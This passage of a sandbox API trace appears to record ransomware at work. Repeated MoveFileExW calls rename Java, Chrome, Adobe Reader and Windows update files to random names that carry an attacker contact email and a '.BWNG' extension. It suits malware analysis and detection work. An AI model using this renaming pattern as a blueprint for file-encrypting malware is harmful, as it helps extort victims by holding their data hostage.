(x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].qYAaUeiP-BTyatJQ7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].qyaaueip-btyatjq7.bwng"), dwFlags=0x1) returned 1 [0114.765] GetTickCount () returned 0x116453b [0114.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671680529) returned 1 [0114.765] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\johannesburg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].Dl4aR8KE-g2MUhmxP.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].dl4ar8ke-g2muhmxp.bwng"), dwFlags=0x1) returned 1 [0114.766] GetTickCount () returned 0x116453b [0114.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671819286) returned 1 [0114.766] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lubumbashi"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].CKolpPVi-bTuJahvX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ckolppvi-btujahvx.bwng"), dwFlags=0x1) returned 1 [0114.767] GetTickCount () returned 0x116453b [0114.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25671948256) returned 1 [0114.767] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\niamey"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].IM8eKIyU-nux44PRt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].im8ekiyu-nux44prt.bwng"), dwFlags=0x1) returned 1 [0114.768] GetTickCount () returned 0x116453b [0114.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25672075125) returned 1 [0114.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anguilla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\anguilla"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].XEWJKqIh-AwAgAeoO.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].xewjkqih-awagaeoo.bwng"), dwFlags=0x1) returned 1 [0114.865] GetTickCount () returned 0x11645a8 [0114.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25681725522) returned 1 [0114.865] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Salta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\salta"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].cXa2q9lQ-Omw9w4An.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].cxa2q9lq-omw9w4an.bwng"), dwFlags=0x1) returned 1 [0114.867] GetTickCount () returned 0x11645a8 [0114.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25681967565) returned 1 [0114.868] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Barbados" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\barbados"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].bMgPZWBC-VAeNKY9l.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].bmgpzwbc-vaenky9l.bwng"), dwFlags=0x1) returned 1 [0114.869] GetTickCount () returned 0x11645a8 [0114.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25682145265) returned 1 [0114.870] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Caracas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\caracas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Z02pUHOW-HpDKQDIj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].z02puhow-hpdkqdij.bwng"), dwFlags=0x1) returned 1 [0114.871] GetTickCount () returned 0x11645a8 [0114.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25682302092) returned 1 [0114.871] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\dawson"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].jT1wmvpZ-1MBYdl5V.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].jt1wmvpz-1mbydl5v.bwng"), dwFlags=0x1) returned 1 [0114.872] GetTickCount () returned 0x11645a8 [0114.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25682443220) returned 1 [0114.872] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Godthab" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\godthab"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].b7v23fDG-PQIaVG8p.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].b7v23fdg-pqiavg8p.bwng"), dwFlags=0x1) returned 1 [0114.874] GetTickCount () returned 0x11645a8 [0114.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25682604598) returned 1 [0114.874] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Hermosillo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\hermosillo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].zCHK52oq-HQcbSZlY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].zchk52oq-hqcbszly.bwng"), dwFlags=0x1) returned 1 [0114.875] GetTickCount () returned 0x11645a8 [0114.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25682768741) returned 1 [0114.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Iqaluit" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\iqaluit"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].uTuvVmF6-awGYi1nd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].utuvvmf6-awgyi1nd.bwng"), dwFlags=0x1) returned 1 [0114.877] GetTickCount () returned 0x11645a8 [0114.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25682913474) returned 1 [0114.877] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Manaus" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\manaus"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].UXf55U9z-aUJLprJB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].uxf55u9z-aujlprjb.bwng"), dwFlags=0x1) returned 1 [0114.878] GetTickCount () returned 0x11645a8 [0114.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25683049012) returned 1 [0114.878] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tijuana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\tijuana"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].XYkpWQSN-rQVpGatd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].xykpwqsn-rqvpgatd.bwng"), dwFlags=0x1) returned 1 [0114.932] GetTickCount () returned 0x11645e7 [0114.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25688378105) returned 1 [0114.932] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\dumontdurville"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].Gn3wX1kO-jyBPqHUy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].gn3wx1ko-jybpqhuy.bwng"), dwFlags=0x1) returned 1 [0114.933] GetTickCount () returned 0x11645e7 [0114.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25688554097) returned 1 [0114.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\currie"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].Ue372i31-gmAlkSpv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].ue372i31-gmalkspv.bwng"), dwFlags=0x1) returned 1 [0114.935] GetTickCount () returned 0x11645e7 [0114.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25688714437) returned 1 [0114.935] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\te.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].IvbAesaj-OJN1SHRf.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ivbaesaj-ojn1shrf.bwng"), dwFlags=0x1) returned 1 [0114.936] GetTickCount () returned 0x11645e7 [0114.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25688846038) returned 1 [0114.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SaveAsRTF.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\saveasrtf.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].sQA4yMZ1-YFqbAOXp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].sqa4ymz1-yfqbaoxp.bwng"), dwFlags=0x1) returned 1 [0114.938] GetTickCount () returned 0x11645e7 [0114.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25688995037) returned 1 [0114.938] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Amman" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\amman"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].vBhqziUA-FFvOSq2c.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].vbhqziua-ffvosq2c.bwng"), dwFlags=0x1) returned 1 [0114.939] GetTickCount () returned 0x11645e7 [0114.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25689124404) returned 1 [0114.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bishkek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\bishkek"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].EFcYfehO-XsUSL0JC.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].efcyfeho-xsusl0jc.bwng"), dwFlags=0x1) returned 1 [0114.940] GetTickCount () returned 0x11645e7 [0114.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25689256722) returned 1 [0114.941] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].CfPGIZN4-47EGN3fg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].cfpgizn4-47egn3fg.bwng"), dwFlags=0x1) returned 1 [0114.950] GetTickCount () returned 0x11645f6 [0114.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25690436922) returned 1 [0114.952] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt39.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt39.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].eTFjMO3v-plgbRALz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].etfjmo3v-plgbralz.bwng"), dwFlags=0x1) returned 1 [0114.954] GetTickCount () returned 0x11645f6 [0114.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25690671287) returned 1 [0114.955] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\[billwong73@yahoo.com].aS9rHexN-06JZfctv.BWNG" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\[billwong73@yahoo.com].as9rhexn-06jzfctv.bwng"), dwFlags=0x1) returned 1 [0114.956] GetTickCount () returned 0x11645f6 [0114.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25690871159) returned 1 [0114.957] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cst6cdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].nGNR8i2S-c8O284rj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].ngnr8i2s-c8o284rj.bwng"), dwFlags=0x1) returned 1 [0114.958] GetTickCount () returned 0x1164606 [0114.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25691057715) returned 1 [0114.959] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+3"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].3D0TXKmW-3UP1ZnHL.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].3d0txkmw-3up1znhl.bwng"), dwFlags=0x1) returned 1 [0114.960] GetTickCount () returned 0x1164606 [0114.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25691222385) returned 1 [0114.960] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-12"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].VfEnvVBh-NNShBJVj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].vfenvvbh-nnshbjvj.bwng"), dwFlags=0x1) returned 1 [0114.961] GetTickCount () returned 0x1164606 [0114.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25691367761) returned 1 [0114.962] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-9"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].YKubtGkk-aa3b8S4o.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].ykubtgkk-aa3b8s4o.bwng"), dwFlags=0x1) returned 1 [0114.963] GetTickCount () returned 0x1164606 [0114.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25691505776) returned 1 [0114.963] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].OYxTO6ro-Nht9e916.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].oyxto6ro-nht9e916.bwng"), dwFlags=0x1) returned 1 [0114.964] GetTickCount () returned 0x1164606 [0114.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25691644157) returned 1 [0114.964] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].t3r7oTSr-ImhEwewD.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].t3r7otsr-imhewewd.bwng"), dwFlags=0x1) returned 1 [0114.965] GetTickCount () returned 0x1164606 [0114.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25691773924) returned 1 [0114.966] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\[billwong73@yahoo.com].CYOpQc0f-bmT8qL7i.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\[billwong73@yahoo.com].cyopqc0f-bmt8ql7i.bwng"), dwFlags=0x1) returned 1 [0114.968] GetTickCount () returned 0x1164606 [0114.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25692002633) returned 1 [0114.968] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Gaza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\gaza"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].SCTtxK7d-trCInSpl.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].scttxk7d-trcinspl.bwng"), dwFlags=0x1) returned 1 [0114.969] GetTickCount () returned 0x1164606 [0114.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25692142396) returned 1 [0114.969] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Monterrey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\monterrey"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].cUNaBFmT-JAXFzGUt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].cunabfmt-jaxfzgut.bwng"), dwFlags=0x1) returned 1 [0114.971] GetTickCount () returned 0x1164606 [0114.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25692296188) returned 1 [0114.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Budapest" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\budapest"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].sjCcyzeT-l28U6ibs.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].sjccyzet-l28u6ibs.bwng"), dwFlags=0x1) returned 1 [0115.099] GetTickCount () returned 0x1164692 [0115.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25705161610) returned 1 [0115.100] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\setup.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\[billwong73@yahoo.com].v49wEX7P-rDR9JLVO.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\[billwong73@yahoo.com].v49wex7p-rdr9jlvo.bwng"), dwFlags=0x1) returned 1 [0115.101] GetTickCount () returned 0x1164692 [0115.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25705362703) returned 1 [0115.102] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kabul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kabul"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].k28u5kXf-1X37anj6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].k28u5kxf-1x37anj6.bwng"), dwFlags=0x1) returned 1 [0115.103] GetTickCount () returned 0x1164692 [0115.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25705522388) returned 1 [0115.103] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuwait" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kuwait"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].5CD74Mr9-z66eroK7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].5cd74mr9-z66erok7.bwng"), dwFlags=0x1) returned 1 [0115.104] GetTickCount () returned 0x1164692 [0115.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25705674623) returned 1 [0115.105] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Oral" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\oral"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].psec2gTj-dOrEzVdf.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].psec2gtj-dorezvdf.bwng"), dwFlags=0x1) returned 1 [0115.106] GetTickCount () returned 0x1164692 [0115.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25705815082) returned 1 [0115.106] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].GJjjOxIu-0ERHMOtF.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].gjjjoxiu-0erhmotf.bwng"), dwFlags=0x1) returned 1 [0115.107] GetTickCount () returned 0x1164692 [0115.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25705967305) returned 1 [0115.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].VvVqDXIN-98ayUOrt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].vvvqdxin-98ayuort.bwng"), dwFlags=0x1) returned 1 [0115.109] GetTickCount () returned 0x1164692 [0115.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25706147726) returned 1 [0115.109] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].QliDGo0P-UZRzq5DT.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].qlidgo0p-uzrzq5dt.bwng"), dwFlags=0x1) returned 1 [0115.111] GetTickCount () returned 0x1164692 [0115.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25706276938) 